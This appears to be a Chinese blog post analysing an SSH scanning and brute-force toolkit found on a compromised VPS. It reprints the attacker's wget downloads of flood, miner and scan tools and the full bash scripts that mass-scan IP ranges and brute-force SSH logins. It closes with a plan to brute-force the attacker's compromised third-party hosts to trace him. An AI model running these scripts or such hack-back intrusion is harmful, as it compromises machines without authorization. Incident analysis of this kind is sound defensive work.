0 前言
周五下午睡醒,看到朋友发的消息,VPS被搞了,这不送上门来的嘛,得分析分析对面想干啥
1 分析
通过在朋友的VPS上拿到的东西:系统操作记录、部分日志、工具集等,对攻击者进行了较全面的分析
1.1 攻击行为分析
庆幸的是,攻击者水平并不高,所有的操作也都是在原有账户上进行的,同时未添加新用户、未添加自启动服务等。
先看一下攻击者的操作,history
命令看操作历史:
- 1、先从 https://www.nasapaul.com 上下载了
v.py
、ninfo
等文件,用于测速等操作,意义不大。该网站中一些小工具的作用:wget NasaPaul.com/paul pentru flood wget NasaPaul.com/v.py pentru speedtest wget NasaPaul.com/ninfo pentru specificati wget NasaPaul.com/perl pentru perli de pe irc wget NasaPaul.com/Nasa.zip arhiva pentru scan wget NasaPaul.com/groot.zip pentru arhiva de gosh wget NasaPaul.com/cnrig (xmrig) pentru ce-i care mineaza
- 2、还从 http://bashupload.com (一个互联网临时网盘一样的东西)上下载了
oznv3
这个工具,是个爆破公网IP机器用户名口令的工具,肉鸡拿肉鸡嘛,后面详细分析。 - 3、解压了oznv3、并替换了其中的
pass
文件(用户名密码文件,用于爆破口令) - 4、后面就是赋权运行程序扫别人了
1.2 工具集分析
经过分析,该工具集一共有三条攻击链,下面对攻击者采用的攻击链以及其他两条攻击链进行详细分析。
首先看一下工具目录:
1.2.1 攻击者的攻击链
攻击者采用的攻击链主要是用于扫描A段ip。
从执行命令看,他首先运行了./cg
,那么我们从这个文件开始入手:
cg
该文件是个bash脚本,代码如下:
#!/bin/bash
##################Setari#################
interfata=eth0 # 指定网口
viteza=8 # 扫描速度
port=22 # ssh的端口,显然是要爆破别人的ssh登录口令
threads=1000 # 指定线程
banthread=300 # banner的线程
#########################################
##################Culori#################
galben='[1;33m' # 设置终端提示颜色,没什么用
alb='[1;37m'
negru='[1;30m'
verde='[0;32m'
########################################
rm -rf i bios.txt ip.tmp scan.log banner.log # 删除工具中原本的日志文件
chmod +x .ps ; chmod +x .psG ; chmod +x .psGR ; chmod +x .banner ; chmod +x * # 给其他要执行的文件赋权
clear
echo -e "${negru}>>>>>>>>>>>>> ${alb}Gosh Pornit ${negru}<<<<<<<<<<<<<${verde}"
sleep 3
./.psG $port -a $1 -i $interfata -s $viteza # 运行.psG,参数是 178
sleep 3
cat bios.txt |shuf > ip.tmp # 记录扫描结果
cat ip.tmp |sort |uniq > ip2.tmp # 处理ip记录
rm -rf ip.tmp # 转存到 i 中
cat ip2.tmp | uniq | shuf > i
rm -rf ip2.tmp
wc -l i # 记录行数
echo -e "${negru}>>>>>>>>>>>>> ${alb}Gosh Oprit ${negru}<<<<<<<<<<<<<"
pkill -f .psG # 杀死进程
echo -e "${negru}+++++++++++ ${alb}Banner Pornit ${negru}++++++++++${verde}"
./.banner bios.txt $port $banthread > /dev/null # 运行banner程序测试探测ip目标详细信息
echo -e "${verde}Asteptam 3 secunde.."
sleep 3
doarbanner=$(cat banner.log | wc -l); #记录可以访问的ip数量
echo -e "${alb}Avem ${galben}$doarbanner${alb} ip-uri In banner"
rm -rf i
echo -e "${negru}>>>>>>>>>> ${alb}Banner Oprit ${negru}<<<<<<<<<<"
pkill -f .banner # 杀死banner进程
cat banner.log | grep OpenSSH|cut -d ":" -f 1 > i # 筛选出openssh的条目
ipscount=`grep -c . i`
sleep 10
pass=$(cat pass | wc -l); # 字典中的用户名密码条目
ips=$(cat i | wc -l); # 开启ssh服务的ip条目
echo -e "${alb} ${galben}[${galben}${alb} BruteForce ${galben}]${galben} - [${galben} Clasa: ${alb}$1${galben} ]${galben} - [${galben} Ipurile: ${alb}$ips${galben} ipuri ]${galben} - [${galben} ${alb}$pass${galben} Parole ]${galben}"
sleep 10
./.ps $threads -f i pass $port "uname -a & cat /proc/version" # 开始爆破
pkill -f .ps
sleep 5
printf "${alb}Gata Scanarea, clasa urmatoare fraiere\n"
该脚本执行流程:
- 1、首先指定了用于扫描的网口、目标的端口(22,目标很明确)、扫描线程等信息
- 2、给
.ps
、.psG
、.psGR
、.banner
等文件赋执行权限 - 3、运行
.psG
进行公网ip的扫描,并记录可访问的ip结果 - 4、运行
.banner
处理扫描到的ip,进行更详细的测试,主要获取开启ssh
服务的ip - 5、运行
.ps
对开启ssh服务的目标进行口令爆破、系统信息探测
下一步是运行了.psG
,那么对.psG
进行分析
.psG
首先查看文件信息:32位ELF文件、小端序、静态链接
psG
的软链接,逆向之,没有加壳、混淆、反调试等,不过去除了符号表。
文件挺大,函数挺多,也去除了关键符号,不过从中还是能拿到很多有用信息。
首先看看其中的可见字符,基本能搞明白是干嘛用的:
后面还有很多可见字符串,tcpdump
、802.11
等很多字符串,用途可想而知。
关键函数分析
没有找到合适的符号表,就凑合分析吧。
通过追踪关键字符串的引用,发现sub_80481A0
关键函数,其交叉引用指向了srart
:
从start
调过来的,明显是main
函数:
根据上图可以分析得知,该函数提示了具体的用法,对应前面的bash脚本中的如下代码:./.psG $port -a $1 -i $interfata -s $viteza
即在运行的时候需要指明是A段还是B段网络,对应的参数是-a、-b
,其中-a
参数是用户输入的A段目标,根据history,攻击者输入的是178,老美的IP。。。
需要指明网口,参数:-i
指明扫描的速度,参数:-s
如图,如果满足判断,即可进行A段网络的扫描,或者下图中的B段网络的扫描(扫描函数调用的是sub_806D7B0
):
同时也会限制访问的端口、提示使用的网口、检测的IP地址等信息:
然后调用sub_805FF00
函数获取pid
:
其中sub_805FF00
代码如下:
可以看到,通过系统系统调用,调用了linux的sys_fork
函数。
如果pid=0
,则将扫描结果记录到bios.txt
:
否则进行目标ip的扫描:
通过分析,sub_806D7B0
、sub_80505BC
等函数都是具体进行扫描的时候的关键函数,这里不再进行详细分析。
至此,该工具的用途就很清楚了,进行下一步分析。
.banner
分析得知,也是一个32位的ELF文件、小端序、静态链接:
用IDA静态分析,先看一下程序中的可见字符串:
可以看到一些字符串提示,以及调用的标准库函数。
根据start
交叉引用,找到main函数sub_804823C
:
main函数中调用sub_8048E7A
对目标IP进行进一步处理。
同时start函数还调用了sub_80493D0
,查看函数内容发现其是一个探测系统内核信息的函数:
再来分析sub_8048E7A
:
此函数中,首先会对IP地址范围进行处理,然后调用sub_807E670
进行ip目标的探测。
.ps
.ps
是ps
的软链接,64位ELF文件、小端序、静态链接:
该程序对上一步过滤出的开启ssh服务的ip进行口令爆破
IDA逆向发现就三个函数,将近1M的文件就三个函数怎么可能?!
看下可见字符串,发现uxp
特殊字符串:
放ubuntu中查看:
明显的加壳标记,壳还挺简单,二话不说,脱壳继续分析!
脱壳之后函数及字符串情况如下:(一堆加密函数)
首先分析main函数,关键代码如下:
可以看到,它根据传入参数的不同,分别进行处理,不过经过分析,处理过程大同小异。
攻击者在cg
脚本中用的是-f
参数,读取了文件i
中的开启ssh服务的ip条目、pass
文件中设置好的用户名和密码。
scan函数:
该函数根据传入的参数打开目标文件:
经过一部分处理之后调用checkauth
函数进行认证:
checkauth函数:
根据图中的函数逻辑可知,该函数整体就是:
发起ssh连接—>初始化—>认证—>建立隧道—>登陆之后执行命令—>读取执行结果—>调用payload函数—>将payload写入缓冲区的结果存入gasite.txt—>关闭并释放ssh连接
gasite.txt
是什么?
用户名、密码、IP、端口、系统信息。。。
注意其中的DVRSrv
字段,后面还会有过滤系统信息的处理,攻击者目标还是比较明确的
payload函数:
先进行一个base64的解密,没有终点分析,然后把格式化的USER: %s PASS: %s HOST: %s PORT: %s --> %s
写入到缓冲区,也就是扫描的结果,而后由其上层的checkauth
写入gasite.txt。
至此,ps
整体的分析结束,cg
函数的调用也就结束了,获取到了经过一系列扫描、爆破的结果,而后利用filtru.sh
进行过滤筛选。
filtru.sh
这个bash脚本是对ps
中拿到的gasite.txt进行过滤:
#!/bin/bash
YEL='[1;33m'
WHI='[1;37m'
grep -v "DVDSrv" gasite.txt > 1
grep -v "pos01" 1 > 2
grep -v "raspberry" 2 > 3
grep -v "Error" 3 > 4
grep -v "Please login" 4 > 5
grep -v "sh-4.3" 5 > 6
grep -v "06:20:54" 6 > 7
grep -v "ERROR" 7 > 8
grep -v "^G" 8 > 9
grep -v "3.2.68-1+deb7u1" 9 > 10
grep -v "PREEMPT" 10 > 11
grep -v "This service allows sftp connections only." 11 > 12
grep -v "This account is currently not available." 12 > 13
grep -v "listensocks" 13 > 14
grep -v "wrong" 14 > 15
grep -v "/dev/pts" 15 > 16
grep -v "reconnect" 16 > 17
grep -v "Welcome to" 17 > 18
grep -v "Unknown command" 18 > 19
grep -v "JUNOS" 19 > 20
grep -v "ppc unknown" 20 > 21
grep -v "mips" 21 > 22
grep -v "uname -a" 22 > 23
grep -v "4.15.0-38-generic #41-Ubuntu SMP x86_64 GNU/Linux" 23 > 24
grep -v "4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u6 (2018-10-08) x86_64 GNU/Linux" 24 > 25
grep -v "UTC 2017 x86_64 x86_64 x86_64 GNU/Linux" 25 > 26
grep -v "cat: /proc/version: No such file or directory" 26 > 27
grep -v "pos01" 27 > 28
grep -v "raspberry" 28 > 29
grep -v "Error" 29 > 30
grep -v "Please login" 30 > 31
grep -v "sh-4.3" 31 > 32
grep -v "06:20:54" 32 > 33
grep -v "ERROR" 33 > 34
grep -v "22:33:07" 34 > 35
grep -v "3.2.68-1+deb7u1" 35 > 36
grep -v "PREEMPT" 36 > 37
grep -v "This service allows sftp connections only." 37 > 38
grep -v "This account is currently not available." 38 > 39
grep -v "uname: Invalid argument" 39 > 40
sed '/^\s*$/d' 40 > bune
sleep 2
rm -rf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
sleep 1
chmod 777 *
chmod 777 bune
clear
printf "${YEL}++ Gata fraiere, folosim \"nano bune\" pentru a vedea vps-urile prinse ++ ${WHI}\n"
最后筛选出攻击者想要的目标,显然他想要的是linux嵌入式系统,并且没有报错、无须后续登录等条件的目标。
这里在网上查东西竟然查到了类似于gasite.txt文件内容的帖子!!!
还是个匿名帖子
难道是他?不管怎样,工具基本可以肯定肯定是同一个,而且各种方法搜工具都搜不到,google hacking都不行。这哥们难道是想在网上打到目标,然后再公布到互联网上???都是弱口令啊…
攻击链本地测试:(别说,还挺好用!)
1.2.2 第二条攻击链
这条攻击链主要用于扫B段ip。
首先执行random
bash脚本:
#!/bin/bash
while :
do
RANGE=255
number=$RANDOM
number2=$RANDOM
let "number %= $RANGE"
let "number2 %= $RANGE"
./c $number.$number2 # 随机生成一个B段号,并传给c作为参数
done
可以看到,此脚本将会随机生成一个B段网络,然后调用bash脚本c
:
#!/bin/bash
### Set conexiuni tool ###
passfile=pass
threads=1000
port=22
#
WHI='[1;37m'
BLK='[1;30m'
RED='[1;31m'
YEL='[1;33m'
BLU='[1;34m'
RES='[0m'
if [ $# != 1 ]; then
echo "${WHI} Folosim: $0 <b class>${RES}"
exit;
fi
chmod +x .ps ; chmod +x .psG ; chmod +x .psGR ; chmod +x .banner ; chmod +x *
./.ps $threads -b $1 $passfile $port "uname -a & lscpu" #用-b参数扫描
sleep 5
pkill .ps
echo "${RED}[+]${BLK} Brutele TERMINAT.${RES}"
该脚本利用ps
的 -b
参数进行扫描,即对一个B段网络进行扫描,具体的扫描操作以及后续的处理就跟攻击者用的攻击链一样了。
攻击链本地测试:
1.2.3 第三条攻击链
通过域名关键字进行B段ip的扫描。
首先执行bash脚本frm
:
#!/bin/bash
BLK='[1;30m'
RED='[1;31m'
GRN='[1;32m'
YEL='[1;33m'
BLU='[1;34m'
MAG='[1;35m'
CYN='[1;36m'
WHI='[1;37m'
DRED='[0;31m'
DGRN='[0;32m'
DYEL='[0;33m'
DBLU='[0;34m'
DMAG='[0;35m'
DCYN='[0;36m'
DWHI='[0;37m'
RES='[0m'
printf "${YEL}Folsim comanda \"cat .ez\" pentru a vedea lista claselor si tarilor disponibile\n"
sleep 5
if [ -e .clase/$1 ] ; then
echo "${BLK}>>>${YEL} Cautam............"
sleep 3
oopsnr2=`grep -c . .clase/$1`
echo "${BLK}>>>${YEL} Am gasit ->${DGRN} $oopsnr2 ${YEL} clase ${YEL}"
sleep 5
./range .clase/$1
else
echo "${BLK}>>>${RED} Nu am gasit fisierul cu clase ${YEL}"
fi
根据我们传入的参数,调用range
脚本,其中.clase
内容如下:
可以看到,该目录下面存放了很多以一些特殊域名命名的文件,而文件又中存储了一些域名对应的B段ip,应该是前期信息收集来的。
range
脚本如下:
#!/usr/bin/env bash
# check for presence of parameter
if [ -z $1 ]; then
echo "Se foloseste: ./frm fisier cu clasele"}
echo "De exemplu ./frm alibaba"
exit 1
fi
# read the file into an array of lines
declare -c lines
let count=0
while read line; do
lines[$count]=$line
let count=count+1
done < "$1"
# iterate lines of the file
count=0
for line in "${lines[@]}"; do
let count=count+1
eval ./c "$line"
done
也就是根据frm
中指定域名文件中的B段号,调用脚本c
进行B段的扫描。
攻击链本地测试:
至此,该工具集中的攻击链分析及测试完毕。
1.3 针对攻击者的分析
通过结合攻击者的代码特点以及操作方式,对攻击者形成了一个简单的画像
1.3.1 攻击者人物画像
根据各个方面的分析,猜测攻击者可能是罗马尼亚人、编程水平一般、linux系统操作能力不强、攻击具有目的性
- 罗马尼亚人
在分析工具的时候就觉得其中的提示语不像是英语,后来把一些关键句放到google翻译、百度翻译等多种翻译工具中进行自动识别
,多次测试都是识别为了罗马尼亚语
。
工具中出现了很多词汇,例如:
De exemplu ./frm alibaba
Asteptam 3 secunde..
百度翻译自动识别:
谷歌翻译自动识别:
根据自动识别结果(包括工具中的其他关键字的翻译结果,诸如:Culori、Setari等其他关键词),基本确定攻击者是以罗马尼亚语
为母语的人,其位置也基本可以锁定在罗马尼亚附近
- 编程水平一般
在分析工具的过程中发现,这些bash脚本编写的水平并不高,,但是中间很多缺陷很明显、很多冗余,诸如赋权重复、不定义函数、不加混淆等。
同时对于二进制文件的保护水平也很低,只是基本的去符号表、加一层简单的壳而已,目前还没有详细分析,没准其中还存在缓冲区溢出之类的漏洞呢。
- linux系统操作能力不强
根据前面放的其命令操作历史可以看到,在执行一些基本命令的时候,都出现了多次错误,难道是拿到一台机器太激动了?那岂不是水平更低。使用的编辑器也是简单的nano。拿到机器之后没有创建用户、添加自启动服务之类的,而是把VPS的密码给改了。。。结合他现在还在用肉鸡打朋友的VPS,可想而知,也就只是一个脚本小子。
- 攻击目的明确
根据其工具的分析,可知该攻击者就是想拿到互联网中一些指开启ssh服务的linux系统将其作为自己的肉鸡,再继续探测。并且根据.class
文件夹下面的文件可知,其进行的是有目的性地针对指定的国家、企业、组织的IP发起扫描。
猜测前面提到的帖子也是指向了这个攻击者
结果太一致了:
简直一毛一样,奈何发帖的人是匿名的。
1.3.2 攻击者意图分析
通过filtru.sh
脚本的分析,该攻击者对拿到的肉鸡进行了一些过滤,并且根据其后续对朋友的VPS进行的攻击(他手上大概100多台肉鸡),分析该攻击者就是想在互联网是捕获肉鸡,然后再利用肉鸡继续拓展,至于更深一层次的目的,是为了自己挖矿还是有组织目的的尚不明确。
哦,他还在拿到的肉鸡上放了冰蝎。。。
2 溯源
由于他仍然在利用手中的肉鸡继续对该VPS进行密码的爆破(通过查看错误日志btmp发现的)
因此有了关于后续的溯源设想:通过拿下目前正在执行爆破任务的肉鸡向上溯源到攻击者。
大概率控制这些肉鸡的机器就是攻击者自己的机器,而且他的这些肉鸡基本都是用此工具进行爆破弱口令拿下的,那我们也用弱口令爆破应该也能够拿下,不过这个攻击者也会更改密码,毕竟这台VPS密码就被他改掉了。。。
因此下一步工作可以尝试对这些肉鸡进行爆破,尝试拿下,进而进行进一步的溯源。
3 总结
虽然对面可能只是一个脚本小子,奈何人家拿到了你的机器呀,而且人家手上还有很多肉鸡。不过细想他的攻击方式,不禁又让我对弱口令发出感慨,世人皆知弱口令危险,却仍有很多在用。
那么,你还在用弱口令吗?
发表评论
您还未登录,请先登录。
登录